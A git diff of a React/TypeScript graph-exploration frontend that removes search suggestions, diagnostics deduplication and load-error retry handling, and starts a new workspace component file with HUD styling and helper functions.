|
||||
}) => boolean;
|
||||
};
|
||||
|
||||
@@ -284,168 +281,37 @@ function SegmentedModeControl({ items }: { items: GraphToolbarItem[] }) {
|
||||
);
|
||||
}
|
||||
|
||||
const SUGGESTION_DEBOUNCE_MS = 250;
|
||||
const SUGGESTION_LIMIT = 6;
|
||||
|
||||
function SearchCommandBar({
|
||||
value,
|
||||
disabled,
|
||||
onChange,
|
||||
onSubmit,
|
||||
onSelectSuggestion,
|
||||
}: {
|
||||
value: string;
|
||||
disabled: boolean;
|
||||
onChange: (value: string) => void;
|
||||
onSubmit: () => void;
|
||||
onSelectSuggestion: (result: SearchResult) => void;
|
||||
}) {
|
||||
const [suggestions, setSuggestions] = useState<SearchResult[]>([]);
|
||||
const [suggestionsOpen, setSuggestionsOpen] = useState(false);
|
||||
const [highlightedIndex, setHighlightedIndex] = useState(-1);
|
||||
const abortRef = useRef<AbortController | null>(null);
|
||||
const debounceRef = useRef<number | null>(null);
|
||||
const listboxId = useId();
|
||||
|
||||
useEffect(() => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
|
||||
const query = value.trim();
|
||||
if (disabled || !query) {
|
||||
abortRef.current?.abort();
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
debounceRef.current = window.setTimeout(() => {
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
|
||||
fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query, limit: SUGGESTION_LIMIT }),
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then((response) => {
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
return response.json();
|
||||
})
|
||||
.then((data: { results?: SearchResult[] }) => {
|
||||
setSuggestions(data.results ?? []);
|
||||
setSuggestionsOpen(true);
|
||||
setHighlightedIndex(-1);
|
||||
})
|
||||
.catch((suggestionError: unknown) => {
|
||||
if (suggestionError instanceof DOMException && suggestionError.name === "AbortError") {
|
||||
return;
|
||||
}
|
||||
setSuggestions([]);
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
});
|
||||
}, SUGGESTION_DEBOUNCE_MS);
|
||||
|
||||
return () => {
|
||||
if (debounceRef.current !== null) {
|
||||
window.clearTimeout(debounceRef.current);
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
};
|
||||
}, [value, disabled]);
|
||||
|
||||
const closeSuggestions = () => {
|
||||
setSuggestionsOpen(false);
|
||||
setHighlightedIndex(-1);
|
||||
};
|
||||
|
||||
const selectSuggestion = (result: SearchResult) => {
|
||||
setSuggestions([]);
|
||||
closeSuggestions();
|
||||
onSelectSuggestion(result);
|
||||
};
|
||||
|
||||
return (
|
||||
<form
|
||||
className="explore-search-command"
|
||||
role="combobox"
|
||||
aria-expanded={suggestionsOpen && suggestions.length > 0}
|
||||
aria-haspopup="listbox"
|
||||
aria-owns={listboxId}
|
||||
onSubmit={(event) => {
|
||||
event.preventDefault();
|
||||
if (disabled) return;
|
||||
if (suggestionsOpen && highlightedIndex >= 0 && suggestions[highlightedIndex]) {
|
||||
selectSuggestion(suggestions[highlightedIndex]);
|
||||
return;
|
||||
if (!disabled) {
|
||||
onSubmit();
|
||||
}
|
||||
closeSuggestions();
|
||||
onSubmit();
|
||||
}}
|
||||
>
|
||||
<Search size={17} strokeWidth={2.15} aria-hidden />
|
||||
<input
|
||||
value={value}
|
||||
onChange={(event) => onChange(event.target.value)}
|
||||
onFocus={() => {
|
||||
if (suggestions.length > 0) {
|
||||
setSuggestionsOpen(true);
|
||||
}
|
||||
}}
|
||||
onBlur={() => {
|
||||
window.setTimeout(closeSuggestions, 120);
|
||||
}}
|
||||
onKeyDown={(event) => {
|
||||
if (!suggestionsOpen || suggestions.length === 0) return;
|
||||
if (event.key === "ArrowDown") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current + 1) % suggestions.length);
|
||||
} else if (event.key === "ArrowUp") {
|
||||
event.preventDefault();
|
||||
setHighlightedIndex((current) => (current <= 0 ? suggestions.length - 1 : current - 1));
|
||||
} else if (event.key === "Escape") {
|
||||
event.preventDefault();
|
||||
closeSuggestions();
|
||||
}
|
||||
}}
|
||||
placeholder="Search command, node, or concept"
|
||||
aria-label="Search graph nodes"
|
||||
aria-autocomplete="list"
|
||||
aria-controls={listboxId}
|
||||
aria-activedescendant={highlightedIndex >= 0 ? `${listboxId}-${highlightedIndex}` : undefined}
|
||||
/>
|
||||
<button type="submit" disabled={disabled} aria-label="Search for the current query">
|
||||
Search
|
||||
</button>
|
||||
|
||||
{suggestionsOpen && suggestions.length > 0 ? (
|
||||
<ul id={listboxId} role="listbox" className="explore-search-suggestions" aria-label="Search suggestions">
|
||||
{suggestions.map((result, index) => (
|
||||
<li
|
||||
key={result.node.id}
|
||||
id={`${listboxId}-${index}`}
|
||||
role="option"
|
||||
aria-selected={index === highlightedIndex}
|
||||
data-highlighted={index === highlightedIndex}
|
||||
onMouseDown={(event) => {
|
||||
event.preventDefault();
|
||||
selectSuggestion(result);
|
||||
}}
|
||||
onMouseEnter={() => setHighlightedIndex(index)}
|
||||
>
|
||||
<span className="explore-search-suggestion-label">{result.node.content || result.node.id}</span>
|
||||
<span className="explore-search-suggestion-type">{result.node.type}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</form>
|
||||
);
|
||||
}
|
||||
@@ -710,7 +576,6 @@ const HUD_CSS = `
|
||||
gap: 10px;
|
||||
}
|
||||
.explore-search-command {
|
||||
position: relative;
|
||||
min-width: 0;
|
||||
height: 43px;
|
||||
display: grid;
|
||||
@@ -726,50 +591,6 @@ const HUD_CSS = `
|
||||
color: ${GRAPH_THEME.ui.text.muted};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.045), 0 14px 30px rgba(0,0,0,0.16);
|
||||
}
|
||||
.explore-search-suggestions {
|
||||
position: absolute;
|
||||
top: calc(100% + 6px);
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 30;
|
||||
margin: 0;
|
||||
padding: 6px;
|
||||
list-style: none;
|
||||
max-height: 288px;
|
||||
overflow-y: auto;
|
||||
border-radius: 14px;
|
||||
border: 1px solid ${GRAPH_THEME.ui.control.inputBorder};
|
||||
background: ${GRAPH_THEME.ui.surface.cardStrong};
|
||||
box-shadow: 0 18px 40px rgba(0,0,0,0.32), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.explore-search-suggestions li {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
padding: 8px 10px;
|
||||
border-radius: 10px;
|
||||
cursor: pointer;
|
||||
color: ${GRAPH_THEME.ui.text.body};
|
||||
}
|
||||
.explore-search-suggestions li[data-highlighted="true"] {
|
||||
background: ${GRAPH_THEME.ui.control.hoverBg};
|
||||
}
|
||||
.explore-search-suggestion-label {
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
}
|
||||
.explore-search-suggestion-type {
|
||||
flex-shrink: 0;
|
||||
font-size: 11px;
|
||||
color: ${GRAPH_THEME.ui.text.subtle};
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.explore-search-command:focus-within {
|
||||
border-color: ${GRAPH_THEME.ui.control.activeBorder};
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), 0 0 0 1px ${GRAPH_THEME.ui.control.focusRing}, 0 16px 32px rgba(0,0,0,0.18);
|
||||
@@ -1298,18 +1119,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
// Deduplicates setScrubberTime calls by millisecond value so that React 18
|
||||
// concurrent-mode re-renders with a new Date object for the same timestamp
|
||||
// do not churn temporalState and retrigger the diagnostics effect (issue #830).
|
||||
const lastScrubberMsRef = useRef<number | null>(null);
|
||||
const onTimeChange = useCallback((time: Date) => {
|
||||
const ms = time.getTime();
|
||||
if (ms === lastScrubberMsRef.current) {
|
||||
return;
|
||||
}
|
||||
lastScrubberMsRef.current = ms;
|
||||
setScrubberTime(time);
|
||||
}, []);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [pluginPanelState, setPluginPanelState] = useState<Record<string, boolean>>({
|
||||
"effects-panel": false,
|
||||
@@ -1320,9 +1129,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
const [pluginRuntimeVersion, setPluginRuntimeVersion] = useState(0);
|
||||
const [effectsState, setEffectsState] = useState<GraphEffectsState>(DEFAULT_EFFECTS_STATE);
|
||||
const [graphDiagnosticsState, setGraphDiagnosticsState] = useState<GraphRuntimeDiagnosticsSnapshot | null>(null);
|
||||
// Tracks the last accepted diagnostics outside React's state cycle, allowing
|
||||
// handleDiagnosticsChange to compare synchronously before calling setState.
|
||||
const lastDiagnosticsRef = useRef<GraphRuntimeDiagnosticsSnapshot | null>(null);
|
||||
const [graphAnalyticsState, setGraphAnalyticsState] = useState<GraphAnalyticsSnapshot | null>(null);
|
||||
const [loadedPlugins, setLoadedPlugins] = useState<Record<string, GraphPlugin>>({});
|
||||
|
||||
@@ -1403,28 +1209,12 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}));
|
||||
}, []);
|
||||
|
||||
const {
|
||||
data: summary,
|
||||
isLoading,
|
||||
isFetching,
|
||||
isError: isGraphLoadError,
|
||||
error: graphLoadError,
|
||||
refetch: refetchGraph,
|
||||
} = useLoadGraph({
|
||||
const { data: summary, isLoading, isFetching } = useLoadGraph({
|
||||
enabled: true,
|
||||
onGraphReady: applyGraphReadySummary,
|
||||
onProgress: handleLoadProgress,
|
||||
});
|
||||
|
||||
const graphLoadErrorMessage = isGraphLoadError
|
||||
? (graphLoadError instanceof Error ? graphLoadError.message : "Unknown error while loading the graph.")
|
||||
: null;
|
||||
|
||||
const handleRetryGraphLoad = useCallback(() => {
|
||||
setLoadingProgress(null);
|
||||
void refetchGraph();
|
||||
}, [refetchGraph]);
|
||||
|
||||
useEffect(() => {
|
||||
if (isLayoutRunning) {
|
||||
return;
|
||||
@@ -1441,18 +1231,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
applyGraphReadySummary(summary);
|
||||
}, [applyGraphReadySummary, graphReady, summary]);
|
||||
|
||||
const canFetchTemporalBounds = shouldFetchTemporalBounds(summary);
|
||||
const canFetchTemporalSnapshot = shouldFetchTemporalSnapshot({
|
||||
debouncedTime,
|
||||
isLoading,
|
||||
summary,
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
if (!canFetchTemporalBounds) {
|
||||
return;
|
||||
}
|
||||
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
@@ -1472,21 +1251,10 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [
|
||||
canFetchTemporalBounds,
|
||||
summary?.nodeCount,
|
||||
summary?.edgeCount,
|
||||
]);
|
||||
}, [summary?.nodeCount, summary?.edgeCount]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!canFetchTemporalSnapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!debouncedTime) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!debouncedTime || isLoading) return;
|
||||
let cancelled = false;
|
||||
|
||||
const applySnapshot = async () => {
|
||||
@@ -1528,10 +1296,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [
|
||||
canFetchTemporalSnapshot,
|
||||
debouncedTime,
|
||||
]);
|
||||
}, [debouncedTime, isLoading]);
|
||||
|
||||
const resolveNodeIdForFocusedMode = useCallback((
|
||||
nodeId: string,
|
||||
@@ -1742,11 +1507,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
}
|
||||
}, [searchQuery]);
|
||||
|
||||
const handleClearSearchResults = useCallback(() => {
|
||||
setSearchResults([]);
|
||||
setSearchError("");
|
||||
}, []);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!inspectableNodeId) return;
|
||||
setIsRunningPredictions(true);
|
||||
@@ -2125,7 +1885,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
viewMode,
|
||||
]);
|
||||
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress) || isGraphLoadError);
|
||||
const showLoadingOverlay = !graphReady && (isLoading || isFetching || Boolean(loadingProgress));
|
||||
const showSettlingStatus = graphReady && loadingProgress?.phase === "stabilizing_layout";
|
||||
const hasGraphContent = Boolean(summary?.nodeCount);
|
||||
const activePath = pathResult?.path ?? EMPTY_PATH;
|
||||
@@ -2296,7 +2056,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Open exploration effects controls",
|
||||
order: 18,
|
||||
load: loadExplorationEffectsPlugin,
|
||||
shouldLoad: explorationEffectsShouldLoad,
|
||||
shouldLoad: ({ panelState }) => Boolean(panelState["effects-panel"]),
|
||||
},
|
||||
{
|
||||
id: "neighborhood-panel",
|
||||
@@ -2305,7 +2065,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Toggle neighborhood panel",
|
||||
order: 30,
|
||||
load: loadNeighborhoodPanelPlugin,
|
||||
shouldLoad: neighborhoodPanelShouldLoad,
|
||||
shouldLoad: ({ panelState }) => Boolean(panelState["neighborhood-panel"]),
|
||||
},
|
||||
{
|
||||
id: "temporal-overlay",
|
||||
@@ -2314,7 +2074,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
title: "Toggle temporal context panel",
|
||||
order: 40,
|
||||
load: loadTemporalOverlayPlugin,
|
||||
shouldLoad: temporalOverlayShouldLoad,
|
||||
shouldLoad: ({ panelState, temporalState }) => Boolean(panelState["temporal-panel"] || temporalState?.currentTime),
|
||||
},
|
||||
],
|
||||
[],
|
||||
@@ -2332,7 +2092,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return;
|
||||
}
|
||||
|
||||
if (!entry.shouldLoad({ panelState: pluginPanelState })) {
|
||||
if (!entry.shouldLoad({ panelState: pluginPanelState, temporalState })) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -2351,7 +2111,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [loadedPlugins, pluginPanelState, pluginRegistry]);
|
||||
}, [loadedPlugins, pluginPanelState, pluginRegistry, temporalState]);
|
||||
|
||||
const setEffectToggle = useCallback((effect: GraphEffectToggle, enabled: boolean | ((current: boolean) => boolean)) => {
|
||||
setEffectsState((current) => {
|
||||
@@ -2514,55 +2274,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
if (!GRAPH_THEME.effects.diagnostics.enabledInDev) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Compare against the last accepted snapshot synchronously before calling
|
||||
// setState. buildEffectAvailability always returns a new object, so an
|
||||
// unconditional setGraphDiagnosticsState on every call created a
|
||||
// render → diagnostics effect → setState → render cycle that exceeded
|
||||
// React's max update depth in dev mode (issue #830).
|
||||
const prev = lastDiagnosticsRef.current;
|
||||
if (prev !== null) {
|
||||
const EFFECT_KEYS = [
|
||||
"pathPulse", "pathFlow", "lens", "temporalEmphasis", "semanticRegions",
|
||||
"contours", "pathfinding", "communities", "centrality", "legend", "diagnostics",
|
||||
] as const;
|
||||
const prevEA = prev.effectAvailability;
|
||||
const nextEA = diagnostics.effectAvailability;
|
||||
const availabilityChanged = EFFECT_KEYS.some((key) => {
|
||||
const p = prevEA[key];
|
||||
const n = nextEA[key];
|
||||
return (
|
||||
p.enabled !== n.enabled ||
|
||||
p.available !== n.available ||
|
||||
p.reason !== n.reason ||
|
||||
p.detail !== n.detail ||
|
||||
p.visibleSegments !== n.visibleSegments ||
|
||||
p.segmentCap !== n.segmentCap
|
||||
);
|
||||
});
|
||||
|
||||
const edgeClassesChanged =
|
||||
prev.edgeClasses?.updatedAt !== diagnostics.edgeClasses?.updatedAt;
|
||||
|
||||
const structureLayerChanged =
|
||||
prev.structureLayer?.cacheKey !== diagnostics.structureLayer?.cacheKey ||
|
||||
prev.structureLayer?.lastDrawAt !== diagnostics.structureLayer?.lastDrawAt ||
|
||||
prev.structureLayer?.enabled !== diagnostics.structureLayer?.enabled ||
|
||||
prev.structureLayer?.disabledReason !== diagnostics.structureLayer?.disabledReason ||
|
||||
prev.structureLayer?.curveCount !== diagnostics.structureLayer?.curveCount ||
|
||||
prev.structureLayer?.bridgeCurveCount !== diagnostics.structureLayer?.bridgeCurveCount ||
|
||||
prev.structureLayer?.backboneCurveCount !== diagnostics.structureLayer?.backboneCurveCount;
|
||||
|
||||
// distanceVisual is compared by reference: GraphCanvas passes the same
|
||||
// object when distances haven't changed.
|
||||
const distanceVisualChanged = prev.distanceVisual !== diagnostics.distanceVisual;
|
||||
|
||||
if (!availabilityChanged && !edgeClassesChanged && !structureLayerChanged && !distanceVisualChanged) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
lastDiagnosticsRef.current = diagnostics;
|
||||
setGraphDiagnosticsState(diagnostics);
|
||||
}, []);
|
||||
|
||||
@@ -2988,10 +2699,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
disabled={searchDisabled}
|
||||
onChange={setSearchQuery}
|
||||
onSubmit={() => void handleSearch()}
|
||||
onSelectSuggestion={(result) => {
|
||||
setSearchQuery("");
|
||||
focusNode(result.node.id);
|
||||
}}
|
||||
/>
|
||||
<SegmentedModeControl items={viewModeItems} />
|
||||
<div className="explore-toolbelt">
|
||||
@@ -3067,36 +2774,20 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
{searchError ? <div style={{ color: "#ff7b72", fontSize: 12 }}>{searchError}</div> : null}
|
||||
|
||||
{searchResults.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
<div style={{ display: "flex", alignItems: "center", justifyContent: "space-between", gap: 12 }}>
|
||||
<span style={{ color: "#8b949e", fontSize: 12 }}>
|
||||
{searchResults.length} result{searchResults.length === 1 ? "" : "s"}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={handleClearSearchResults}
|
||||
style={{ ...secondaryActionButtonStyle, minHeight: 26, padding: "4px 9px", gap: 5 }}
|
||||
aria-label="Dismiss search results"
|
||||
>
|
||||
<X size={12} strokeWidth={2.4} />
|
||||
Dismiss
|
||||
</button>
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{Math.round(result.score)}
|
||||
</div>
|
||||
<div className="explore-search-results hud-scrollbar" style={searchResultsStripStyle}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} style={predictionCardStyle} onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ display: "flex", justifyContent: "space-between", gap: 12 }}>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, whiteSpace: "nowrap" }}>
|
||||
{result.score.toFixed(3)}
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
@@ -3190,8 +2881,6 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={hasGraphContent || Boolean(loadingProgress?.showGraphBehind)}
|
||||
error={graphLoadErrorMessage}
|
||||
onRetry={handleRetryGraphLoad}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -3233,7 +2922,7 @@ export function GraphWorkspace({ externalFocusNodeId, externalFocusToken }: Grap
|
||||
<div className="explore-scene-footer">
|
||||
<Suspense fallback={<div style={timelineFallbackStyle}>Loading timeline…</div>}>
|
||||
<LazyTimelinePanel
|
||||
onTimeChange={onTimeChange}
|
||||
onTimeChange={setScrubberTime}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,851 @@
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState, type CSSProperties } from "react";
|
||||
|
||||
import { GraphLoadingOverlay } from "./GraphLoadingOverlay";
|
||||
import { getGraphLoadTitle } from "./graphLoading";
|
||||
import { useGraphData, useReloadGraphData } from "./useGraphData";
|
||||
import type {
|
||||
ApiNode,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
type SearchResult = {
|
||||
node: {
|
||||
id: string;
|
||||
type: string;
|
||||
content: string;
|
||||
properties: Record<string, unknown>;
|
||||
};
|
||||
score: number;
|
||||
};
|
||||
|
||||
type LinkPrediction = {
|
||||
target: string;
|
||||
type: string;
|
||||
label?: string;
|
||||
score: number;
|
||||
};
|
||||
|
||||
type PathResponse = {
|
||||
path: GraphPath;
|
||||
total_weight: number;
|
||||
hop_count: number;
|
||||
distance_band: "direct" | "near" | "mid-range" | "distant";
|
||||
};
|
||||
|
||||
type TemporalBounds = {
|
||||
min?: string | null;
|
||||
max?: string | null;
|
||||
};
|
||||
|
||||
const GraphRuntimeStage = lazy(() =>
|
||||
import("./GraphRuntimeStage").then((module) => ({ default: module.GraphRuntimeStage })),
|
||||
);
|
||||
const TimelinePanel = lazy(() =>
|
||||
import("./TimelinePanel").then((module) => ({ default: module.TimelinePanel })),
|
||||
);
|
||||
|
||||
const HUD_CSS = `
|
||||
.palantir-bg {
|
||||
background:
|
||||
radial-gradient(circle at top, rgba(103, 182, 255, 0.1), transparent 24%),
|
||||
linear-gradient(180deg, #07111d 0%, #02060e 100%);
|
||||
}
|
||||
.palantir-grid {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background-image:
|
||||
linear-gradient(rgba(88, 166, 255, 0.04) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(88, 166, 255, 0.04) 1px, transparent 1px);
|
||||
background-size: 44px 44px;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
opacity: 0.78;
|
||||
}
|
||||
.palantir-vignette {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at center, transparent 34%, rgba(1, 4, 9, 0.88) 100%);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
}
|
||||
.hud-scrollbar::-webkit-scrollbar { width: 6px; }
|
||||
.hud-scrollbar::-webkit-scrollbar-track { background: transparent; }
|
||||
.hud-scrollbar::-webkit-scrollbar-thumb { background: rgba(88, 166, 255, 0.25); border-radius: 6px; }
|
||||
.graph-shell-top { position: absolute; top: 18px; left: 18px; right: 18px; z-index: 10; display: flex; justify-content: space-between; align-items: flex-start; gap: 16px; pointer-events: none; }
|
||||
.graph-status-card, .graph-command-card {
|
||||
pointer-events: auto;
|
||||
border: 1px solid rgba(132, 197, 255, 0.12);
|
||||
background: linear-gradient(180deg, rgba(7, 16, 29, 0.86), rgba(10, 22, 39, 0.72)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 50%);
|
||||
box-shadow: 0 18px 42px rgba(0, 0, 0, 0.28), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
backdrop-filter: blur(18px);
|
||||
}
|
||||
.graph-status-card { width: min(420px, 38vw); border-radius: 24px; padding: 16px 18px; }
|
||||
.graph-command-card { width: min(620px, 55vw); border-radius: 24px; padding: 14px; display: flex; flex-direction: column; gap: 12px; }
|
||||
.graph-status-label { display: inline-flex; align-items: center; gap: 8px; color: rgba(160, 191, 223, 0.88); font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-status-label::before { content: ""; width: 7px; height: 7px; border-radius: 999px; background: linear-gradient(135deg, #8ed3ff, #ffb36a); box-shadow: 0 0 12px rgba(142, 211, 255, 0.5); }
|
||||
.graph-status-title { color: #eef5ff; font-size: 20px; font-weight: 800; letter-spacing: -0.04em; margin-bottom: 6px; }
|
||||
.graph-status-copy { color: #8fa8c6; font-size: 12px; line-height: 1.55; margin-bottom: 14px; max-width: 40ch; }
|
||||
.graph-status-metrics, .graph-command-row, .graph-toggle-cluster, .graph-action-cluster { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
.graph-command-row { justify-content: space-between; align-items: center; gap: 10px; }
|
||||
.graph-search-shell { flex: 1; min-width: 260px; display: flex; align-items: center; gap: 10px; padding: 8px 10px 8px 14px; border-radius: 18px; border: 1px solid rgba(132, 197, 255, 0.12); background: rgba(0, 0, 0, 0.18); box-shadow: inset 0 1px 0 rgba(255,255,255,0.03); }
|
||||
.graph-search-shell input { flex: 1; min-width: 0; border: none !important; background: transparent !important; padding: 0 !important; margin: 0 !important; }
|
||||
.graph-search-shell input:focus { outline: none; }
|
||||
.graph-search-results { position: absolute; top: 120px; right: 18px; width: min(420px, calc(100vw - 132px)); max-height: 320px; overflow-y: auto; padding: 12px; border-radius: 20px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.94), rgba(10, 21, 38, 0.86)); box-shadow: 0 18px 50px rgba(0,0,0,0.34); backdrop-filter: blur(18px); pointer-events: auto; z-index: 11; }
|
||||
.graph-search-results-label { color: #6f89ab; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 10px; }
|
||||
.graph-search-result-card { width: 100%; text-align: left; padding: 12px 14px; border-radius: 16px; border: 1px solid rgba(132, 197, 255, 0.08); background: rgba(255, 255, 255, 0.025); cursor: pointer; transition: transform 160ms ease, border-color 160ms ease, background 160ms ease; }
|
||||
.graph-search-result-card:hover { transform: translateY(-1px); border-color: rgba(132, 197, 255, 0.18); background: rgba(103, 182, 255, 0.08); }
|
||||
.graph-inspector { pointer-events: auto; position: absolute; right: 18px; top: 154px; bottom: 108px; width: 380px; overflow-y: auto; transition: transform 0.34s cubic-bezier(0.16,1,0.3,1), opacity 0.22s ease; border-radius: 28px; border: 1px solid rgba(132, 197, 255, 0.14); background: linear-gradient(180deg, rgba(8, 18, 33, 0.9), rgba(6, 12, 22, 0.88)), radial-gradient(circle at top, rgba(103, 182, 255, 0.08), transparent 40%); box-shadow: -18px 0 48px rgba(0, 0, 0, 0.32), inset 0 1px 0 rgba(255,255,255,0.04); backdrop-filter: blur(20px); }
|
||||
.graph-inspector[data-open='false'] { transform: translateX(calc(100% + 24px)); opacity: 0; }
|
||||
@keyframes sem-loader-pulse {
|
||||
0%, 100% { transform: translateY(0) scale(0.92); opacity: 0.55; }
|
||||
50% { transform: translateY(-4px) scale(1.08); opacity: 1; }
|
||||
}
|
||||
@media (max-width: 1220px) {
|
||||
.graph-shell-top { flex-direction: column; align-items: stretch; }
|
||||
.graph-status-card, .graph-command-card { width: auto; }
|
||||
.graph-search-results { top: 202px; right: 18px; left: 18px; width: auto; }
|
||||
}
|
||||
`;
|
||||
|
||||
function useDebounce<T>(value: T, delay: number): T {
|
||||
const [debouncedValue, setDebouncedValue] = useState<T>(value);
|
||||
useEffect(() => {
|
||||
const timeout = setTimeout(() => setDebouncedValue(value), delay);
|
||||
return () => clearTimeout(timeout);
|
||||
}, [delay, value]);
|
||||
return debouncedValue;
|
||||
}
|
||||
|
||||
function sourceAttribution(properties: Record<string, unknown>) {
|
||||
const keys = ["source", "source_url", "pmid", "pmids", "evidence", "provenance", "confidence"];
|
||||
return keys
|
||||
.filter((key) => key in properties)
|
||||
.map((key) => ({ key, value: properties[key] }));
|
||||
}
|
||||
|
||||
function toSelectedNodeState(node: ApiNode, neighborCount: number, fallbackColor = "#58a6ff"): GraphSelectedNodeState {
|
||||
return {
|
||||
id: node.id,
|
||||
label: node.content || node.id,
|
||||
content: node.content || node.id,
|
||||
nodeType: node.type,
|
||||
